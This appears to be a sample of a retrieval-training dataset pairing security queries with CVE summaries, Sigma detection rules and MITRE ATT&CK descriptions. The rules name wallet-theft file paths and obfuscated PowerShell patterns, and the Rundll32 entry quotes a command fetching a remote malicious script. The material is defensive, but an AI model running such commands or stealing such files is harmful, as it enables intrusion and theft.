alirezaaminzadeh/secembed-pairs huggingface dataset:
Query: vulnerability: A vulnerability classified as problematic has been found in UIKit0 libplist 1.12. This affects the function plist_from_xml of the file src/xplist.c of the component XML Handler. Th
Matching passage: CVE-2015-10082. CWE: CWE-611. CVSS: 9.800000190734863. A vulnerability classified as problematic has been found in UIKit0 libplist 1.12. This affects the function plist_from_xml of the file src/xplist.c of the component XML Handler. The manipulation leads to xml external entity reference. The patch is named c086cb139af7c82845f6d565e636073ff4b37440. It is recommended to apply a patch to fix this issue. The associated identifier of this vulnerability is VDB-221499.
Near-miss passage: CVE-2015-8866. CWE: CWE-611. CVSS: 9.600000381469727. ext/libxml/libxml.c in PHP before 5.5.22 and 5.6.x before 5.6.6, when PHP-FPM is used, does not isolate each thread from libxml_disable_entity_loader changes in other threads, which allows remote attackers to conduct XML External Entity (XXE) and XML Entity Expansion (XEE) attacks via a crafted XML document, a related issue to CVE-2015-5161.
Query: exploit Remote Desktop Session Host (RDSH) in Remote Desktop Protocol (RDP) through 8.1 in Microsoft Windows Vista SP2, Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8, Window
Matching passage: CVE-2015-2472. CWE: CWE-20. CVSS: 4.300000190734863. Remote Desktop Session Host (RDSH) in Remote Desktop Protocol (RDP) through 8.1 in Microsoft Windows Vista SP2, Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8, Windows 8.1, Windows Server 2012 Gold and R2, and Windows RT Gold and 8.1 does not properly verify certificates, which allows man-in-the-middle attackers to spoof clients via a crafted certificate with valid Issuer and Serial Number fields, aka "Remote Desktop Session Host Spoofing Vulnerability."
Near-miss passage: CVE-2015-5074. CWE: CWE-20. CVSS: 7.5. Incomplete blacklist vulnerability in the FileUploadsFilter class in protected/components/filters/FileUploadsFilter.php in X2Engine X2CRM before 5.0.9 allows remote authenticated users to execute arbitrary PHP code by uploading a file with a .pht extension.
Query: exploit Unspecified vulnerability in the Oracle Access Manager component in Oracle Fusion Middleware 11.1.1.7 and 11.1.2.2 allows remote attackers to affect availability via unknown vector
Matching passage: CVE-2015-4751. CWE: UNKNOWN. CVSS: 5.0. Unspecified vulnerability in the Oracle Access Manager component in Oracle Fusion Middleware 11.1.1.7 and 11.1.2.2 allows remote attackers to affect availability via unknown vectors related to Authentication Engine.
Near-miss passage: CVE-2015-8448. CWE: UNKNOWN. CVSS: 9.300000190734863. Use-after-free vulnerability in the DisplacementMapFilter object implementation in Adobe Flash Player before 18.0.0.268 and 19.x and 20.x before 20.0.0.228 on Windows and OS X and before 11.2.202.554 on Linux, Adobe AIR before 20.0.0.204, Adobe AIR SDK before 20.0.0.204, and Adobe AIR SDK & Compiler before 20.0.0.204 allows attackers to execute arbitrary code via a crafted mapBitmap property value, a different vulnerability than CVE-2015-8048, CVE-2015-8049, CVE-2015-8050, CVE-2015-8055, CVE-2015-8056, CVE-2015-8057, CVE-2015-8058, CVE-2015-8059, CVE-2015-8061, CVE-2015-8062, CVE-2015-8063, CVE-2015-8064, CVE-2015-8065, CVE-2015-8066, CVE-2015-8067, CVE-2015-8068, CVE-2015-8069, CVE-2015-8070, CVE-2015-8071, CVE-2015-8401, CVE-2015-8402, CVE-2015-8403, CVE-2015-8404, CVE-2015-8405, CVE-2015-8406, CVE-2015-8410, CVE-2015-8411, CVE-2015-8412, CVE-2015-8413, CVE-2015-8414, CVE-2015-8420, CVE-2015-8421, CVE-2015-8422, CVE-2015-8423, CVE-2015-8424, CVE-2015-8425, CVE-2015-8426, CVE-2015-8427, CVE-2015-8428, CVE-2015-8429, CVE-2015-8430, CVE-2015-8431, CVE-2015-8432, CVE-2015-8433, CVE-2015-8434, CVE-2015-8435, CVE-2015-8436, CVE-2015-8437, CVE-2015-8441, CVE-2015-8442, CVE-2015-8447, CVE-2015-8449, CVE-2015-8450, CVE-2015-8452, and CVE-2015-8454.
Query: CVE similar to CVE-2015-2004
Matching passage: CVE-2015-2004. CWE: CWE-118. CVSS: 9.800000190734863. The GraceNote GNSDK SDK before SVN Changeset 1.1.7 for Android might allow attackers to execute arbitrary code by leveraging a finalize method in a Serializable class that improperly passes an attacker-controlled pointer to a native function.
Near-miss passage: CVE-2015-2000. CWE: CWE-118. CVSS: 9.800000190734863. The Jumio SDK before 1.5.0 for Android might allow attackers to execute arbitrary code by leveraging a finalize method in a Serializable class that improperly passes an attacker-controlled pointer to a native function.
Query: rule covering Detects potential evasion or obfuscation attempts using bogus path traversal via the commandline
Matching passage: Sigma rule: Detects potential evasion or obfuscation attempts using bogus path traversal via the commandline. Logsource: windows / process_creation. Rule: title: Potential Command Line Path Traversal Evasion Attempt id: 1327381e-6ab0-4f38-b583-4c1b8346a56b status: test description: Detects potential evasion or obfuscation attempts using bogus path traversal via the commandline references: - https://twitter.com/hexacorn/status/1448037865435320323 - https://twitter.com/Gal_B1t/status/1062971006078345217 author: Christian Burkard (Nextron Systems) date: 2021-10-26 modified: 2023-03-29 tags: - attack.stealth - attack.t1036 logsource: category: process_creation product: windows detection: selection_1: Image|contains: \Windows\ CommandLine|contains: - \..\Windows\ - \..\System32\ - \..\..\ selection_2: CommandLine|contains: .exe\..\ filter_optional_google_drive: CommandLine|contains: \Google\Drive\googledrivesync.exe\..\ filter_optional_citrix: CommandLine|contains: \Citrix\Virtual Smart Card\Citrix.Authentication.VirtualSmartcard.Launcher.exe\..\ condition: 1 of selection_* and not 1 of filter_optional_* falsepositives: - Google Drive - Citrix level: medium
Near-miss passage: Sigma rule: Detects file access requests to crypto currency files by uncommon processes. Could indicate potential attempt of crypto. Logsource: windows / file_access. Rule: title: Access To Crypto Currency Wallets By Uncommon Applications id: f41b0311-44f9-44f0-816d-dd45e39d4bc8 status: test description: 'Detects file access requests to crypto currency files by uncommon processes. Could indicate potential attempt of crypto currency wallet stealing. ' references: - Internal Research author: X__Junior (Nextron Systems) date: 2024-07-29 tags: - attack.t1003 - attack.credential-access logsource: category: file_access product: windows definition: 'Requirements: Microsoft-Windows-Kernel-File ETW provider' detection: selection: - FileName|contains: - \AppData\Roaming\Ethereum\keystore\ - \AppData\Roaming\EthereumClassic\keystore\ - \AppData\Roaming\monero\wallets\ - FileName|endswith: - \AppData\Roaming\Bitcoin\wallet.dat - \AppData\Roaming\BitcoinABC\wallet.dat - \AppData\Roaming\BitcoinSV\wallet.dat - \AppData\Roaming\DashCore\wallet.dat - \AppData\Roaming\DogeCoin\wallet.dat - \AppData\Roaming\Litecoin\wallet.dat - \AppData\Roaming\Ripple\wallet.dat - \AppData\Roaming\Zcash\wallet.dat filter_main_system: Image: System filter_main_generic: Image|startswith: - C:\Program Files (x86)\ - C:\Program Files\ - C:\Windows\system32\ - C:\Windows\SysWOW64\ filter_optional_defender: Image|startswith: C:\ProgramData\Microsoft\Windows Defender\ Image|endswith: - \MpCopyAccelerator.exe - \MsMpEng.exe condition: selection and not 1 of filter_main_* and not 1 of filter_optional_* falsepositives: - Antivirus, Anti-Spyware, Anti-Malware Software - Backup software - Legitimate software installed on partitions other than "C:\" - Searching software such as "everything.exe" level: medium
Query: vulnerability: Use-after-free vulnerability in Adobe Flash Player before 18.0.0.252 and 19.x before 19.0.0.207 on Windows and OS X and before 11.2.202.535 on Linux, Adobe AIR before 19.0.0.213, A
Matching passage: CVE-2015-7641. CWE: UNKNOWN. CVSS: 10.0. Use-after-free vulnerability in Adobe Flash Player before 18.0.0.252 and 19.x before 19.0.0.207 on Windows and OS X and before 11.2.202.535 on Linux, Adobe AIR before 19.0.0.213, Adobe AIR SDK before 19.0.0.213, and Adobe AIR SDK & Compiler before 19.0.0.213 allows attackers to execute arbitrary code via unspecified vectors, a different vulnerability than CVE-2015-7629, CVE-2015-7631, CVE-2015-7635, CVE-2015-7636, CVE-2015-7637, CVE-2015-7638, CVE-2015-7639, CVE-2015-7640, CVE-2015-7642, CVE-2015-7643, and CVE-2015-7644.
Near-miss passage: CVE-2015-6011. CWE: UNKNOWN. CVSS: 5.0. Web Reference Database (aka refbase) through 0.9.6 and bleeding-edge before 2015-01-08 allows remote attackers to conduct XML injection attacks via (1) the id parameter to unapi.php or (2) the stylesheet parameter to sru.php.
Query: Sigma YAML for windows / process_creation
Matching passage: Sigma rule: Detects the execution of a renamed "gpg.exe". Often used by ransomware and loaders to decrypt/encrypt data.. Logsource: windows / process_creation. Rule: title: Renamed Gpg.EXE Execution id: ec0722a3-eb5c-4a56-8ab2-bf6f20708592 status: test description: Detects the execution of a renamed "gpg.exe". Often used by ransomware and loaders to decrypt/encrypt data. references: - https://securelist.com/locked-out/68960/ author: Nasreddine Bencherchali (Nextron Systems), frack113 date: 2023-08-09 tags: - attack.impact - attack.t1486 logsource: category: process_creation product: windows detection: selection: OriginalFileName: gpg.exe filter_main_img: Image|endswith: - \gpg.exe - \gpg2.exe condition: selection and not 1 of filter_main_* level: high
Near-miss passage: Sigma rule: Detects Bitsadmin connections to IP addresses instead of FQDN names. Logsource: proxy. Rule: title: Bitsadmin to Uncommon IP Server Address id: 8ccd35a2-1c7c-468b-b568-ac6cdf80eec3 status: test description: Detects Bitsadmin connections to IP addresses instead of FQDN names references: - https://isc.sans.edu/diary/Microsoft+BITS+Used+to+Download+Payloads/21027 author: Florian Roth (Nextron Systems) date: 2022-06-10 modified: 2022-08-24 tags: - attack.command-and-control - attack.execution - attack.stealth - attack.t1071.001 - attack.persistence - attack.t1197 - attack.s0190 logsource: category: proxy detection: selection: c-useragent|startswith: Microsoft BITS/ cs-host|endswith: - '1' - '2' - '3' - '4' - '5' - '6' - '7' - '8' - '9' condition: selection falsepositives: - Unknown level: high
Query: exploit Unspecified vulnerability in Oracle Java SE 6u95, 7u80, and 8u45 allows remote attackers to affect confidentiality via unknown vectors related to 2D.
Matching passage: CVE-2015-2632. CWE: UNKNOWN. CVSS: 5.0. Unspecified vulnerability in Oracle Java SE 6u95, 7u80, and 8u45 allows remote attackers to affect confidentiality via unknown vectors related to 2D.
Near-miss passage: CVE-2015-6051. CWE: UNKNOWN. CVSS: 4.300000190734863. Microsoft Internet Explorer 10 and 11 allows remote attackers to gain privileges via a crafted web site, as demonstrated by a transition from Low Integrity to Medium Integrity, aka "Internet Explorer Elevation of Privilege Vulnerability."
Query: actor TTPs: Rundll32
Matching passage: T1218.011 Rundll32. Tactics: stealth. Description: Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: <code>rundll32.exe {DLLname, DLLfunction}</code>). Rundll32.exe can also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002) Item files (.cpl) through the undocumented shell32.dll functions <code>Control_RunDLL</code> and <code>Control_RunDLLAsUser</code>. Double-clicking a .cpl file also causes rundll32.exe to execute.(Citation: Trend Micro CPL) For example, [ClickOnce](https://attack.mitre.org/techniques/T1127/002) can be proxied through Rundll32.exe. Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: <code>rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")"</code> This behavior has been seen used by malware such as Poweliks.(Citation: This is Security Command Line Confusion) Threat actors may also abuse legitimate, signed system DLLs (e.g., <code>zipfldr.dll, ieframe.dll</code>) with <code>rundll32.exe</code> to execute malicious programs or scripts indirectly, making their activity appear more legitimate and evading detection.(Citation: lolbas project Zipfldr.dll)(Citation: lolbas project Ieframe.dll) Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command <code>rundll32.exe ExampleD
Near-miss passage: T1218 System Binary Proxy Execution. Tactics: stealth. Description: Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed, or otherwise trusted, binaries. Binaries used in this technique are often Microsoft-signed files, indicating that they have been either downloaded from Microsoft or are already native in the operating system.(Citation: LOLBAS Project) Binaries signed with trusted digital certificates can typically execute on Windows systems protected by digital signature validation. Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files or commands. Similarly, on Linux systems adversaries may abuse trusted binaries such as <code>split</code> to proxy execution of malicious commands.(Citation: split man page)(Citation: GTFO split)
Query: risk of The add_job function in scheduler/ipp.c in cupsd in CUPS before 2.0.3 performs incorrect free operations for multiple-value job-originating-host-name attributes, which allows remot
Matching passage: CVE-2015-1158. CWE: CWE-254. CVSS: 10.0. The add_job function in scheduler/ipp.c in cupsd in CUPS before 2.0.3 performs incorrect free operations for multiple-value job-originating-host-name attributes, which allows remote attackers to trigger data corruption for reference-counted strings via a crafted (1) IPP_CREATE_JOB or (2) IPP_PRINT_JOB request, as demonstrated by replacing the configuration file and consequently executing arbitrary code.
Near-miss passage: CVE-2015-8857. CWE: CWE-254. CVSS: 9.800000190734863. The uglify-js package before 2.4.24 for Node.js does not properly account for non-boolean values when rewriting boolean expressions, which might allow attackers to bypass security mechanisms or possibly have unspecified other impact by leveraging improperly rewritten Javascript.
Query: describe CVE-2015-7098
Matching passage: CVE-2015-7098. CWE: CWE-119. CVSS: 6.800000190734863. WebKit in Apple iOS before 9.2, Safari before 9.0.2, and tvOS before 9.1 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via a crafted web site, a different vulnerability than CVE-2015-7048, CVE-2015-7095, CVE-2015-7096, CVE-2015-7097, CVE-2015-7099, CVE-2015-7100, CVE-2015-7101, CVE-2015-7102, and CVE-2015-7103.
Near-miss passage: CVE-2015-5917. CWE: CWE-119. CVSS: 5.0. The glob implementation in tnftpd (formerly lukemftpd), as used in Apple OS X before 10.11, allows remote attackers to cause a denial of service (memory consumption and daemon outage) via a STAT command containing a crafted pattern, as demonstrated by multiple instances of the {..,..,..}/* substring.
Query: Sigma rule for Detects usage of the "Get-AdGroup" cmdlet to enumerate Groups within Active Directory
Matching passage: Sigma rule: Detects usage of the "Get-AdGroup" cmdlet to enumerate Groups within Active Directory. Logsource: windows / ps_script. Rule: title: Active Directory Group Enumeration With Get-AdGroup id: 8c3a6607-b7dc-4f0d-a646-ef38c00b76ee status: test description: Detects usage of the "Get-AdGroup" cmdlet to enumerate Groups within Active Directory references: - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1018/T1018.md author: frack113 date: 2022-03-17 modified: 2022-11-17 tags: - attack.discovery - attack.t1069.002 logsource: product: windows category: ps_script definition: 'Requirements: Script Block Logging must be enabled' detection: selection: ScriptBlockText|contains|all: - 'Get-AdGroup ' - -Filter condition: selection falsepositives: - Unknown level: low
Near-miss passage: Sigma rule: Detects processes loading modules related to PCRE.NET package. Logsource: windows / image_load. Rule: title: PCRE.NET Package Image Load id: 84b0a8f3-680b-4096-a45b-e9a89221727c status: test description: Detects processes loading modules related to PCRE.NET package references: - https://twitter.com/rbmaslen/status/1321859647091970051 - https://twitter.com/tifkin_/status/1321916444557365248 author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research) date: 2020-10-29 modified: 2022-10-09 tags: - attack.execution - attack.t1059 logsource: category: image_load product: windows detection: selection: ImageLoaded|contains: \AppData\Local\Temp\ba9ea7344a4a5f591d6e5dc32a13494b\ condition: selection falsepositives: - Unknown level: high
Query: vulnerability: Memory leak in the CRYPTO_ASSOC function in ntpd in NTP 4.2.x before 4.2.8p4, and 4.3.x before 4.3.77 allows remote attackers to cause a denial of service (memory consumption).
Matching passage: CVE-2015-7701. CWE: CWE-772. CVSS: 7.5. Memory leak in the CRYPTO_ASSOC function in ntpd in NTP 4.2.x before 4.2.8p4, and 4.3.x before 4.3.77 allows remote attackers to cause a denial of service (memory consumption).
Near-miss passage: CVE-2015-6700. CWE: CWE-772. CVSS: 5.0. The setBackground function in Adobe Reader and Acrobat 10.x before 10.1.16 and 11.x before 11.0.13, Acrobat and Acrobat Reader DC Classic before 2015.006.30094, and Acrobat and Acrobat Reader DC Continuous before 2015.009.20069 on Windows and OS X allows attackers to obtain sensitive information from process memory via invalid arguments, a different vulnerability than CVE-2015-6697, CVE-2015-6699, CVE-2015-6701, CVE-2015-6702, CVE-2015-6703, and CVE-2015-6704.
Query: vulnerability: CoreText in Apple iOS before 8.4 and OS X before 10.10.4 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted text file,
Matching passage: CVE-2015-3687. CWE: CWE-119. CVSS: 6.800000190734863. CoreText in Apple iOS before 8.4 and OS X before 10.10.4 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted text file, a different vulnerability than CVE-2015-3685, CVE-2015-3686, CVE-2015-3688, and CVE-2015-3689.
Near-miss passage: CVE-2015-6617. CWE: CWE-119. CVSS: 9.300000190734863. Skia, as used in Android before 5.1.1 LMY48Z and 6.0 before 2015-12-01, allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted media file, aka internal bug 23648740.
Query: Sigma YAML for windows / security
Matching passage: Sigma rule: Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the c. Logsource: windows / security. Rule: title: Invoke-Obfuscation Obfuscated IEX Invocation - Security id: fd0f5778-d3cb-4c9a-9695-66759d04702a related: - id: 51aa9387-1c53-4153-91cc-d73c59ae1ca9 type: derived status: test description: Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the code block linked in the references references: - https://github.com/danielbohannon/Invoke-Obfuscation/blob/f20e7f843edd0a3a7716736e9eddfa423395dd26/Out-ObfuscatedStringCommand.ps1#L873-L888 author: Daniel Bohannon (@Mandiant/@FireEye), oscd.community date: 2019-11-08 modified: 2022-11-27 tags: - attack.stealth - attack.t1027 logsource: product: windows service: security definition: The 'System Security Extension' audit subcategory need to be enabled to log the EID 4697 detection: selection_eid: EventID: 4697 selection_servicefilename: - ServiceFileName|re: \$PSHome\[\s*\d{1,3}\s*\]\s*\+\s*\$PSHome\[ - ServiceFileName|re: \$ShellId\[\s*\d{1,3}\s*\]\s*\+\s*\$ShellId\[ - ServiceFileName|re: \$env:Public\[\s*\d{1,3}\s*\]\s*\+\s*\$env:Public\[ - ServiceFileName|re: \$env:ComSpec\[(\s*\d{1,3}\s*,){2} - ServiceFileName|re: \\*mdr\*\W\s*\)\.Name - ServiceFileName|re: \$VerbosePreference\.ToString\( - ServiceFileName|re: \String\]\s*\$VerbosePreference condition: all of selection_* falsepositives: - Unknown level: high
Near-miss passage: Sigma rule: Detects the execution of other scripts using the Node executable packaged with Adobe Creative Cloud. Logsource: windows / process_creation. Rule: title: Node Process Executions id: df1f26d3-bea7-4700-9ea2-ad3e990cf90e status: test description: Detects the execution of other scripts using the Node executable packaged with Adobe Creative Cloud references: - https://twitter.com/mttaggart/status/1511804863293784064 author: Max Altgelt (Nextron Systems) date: 2022-04-06 tags: - attack.execution - attack.stealth - attack.t1127 - attack.t1059.007 logsource: category: process_creation product: windows detection: selection: Image|endswith: \Adobe Creative Cloud Experience\libs\node.exe filter: CommandLine|contains: Adobe Creative Cloud Experience\js condition: selection and not filter falsepositives: - Unknown level: medium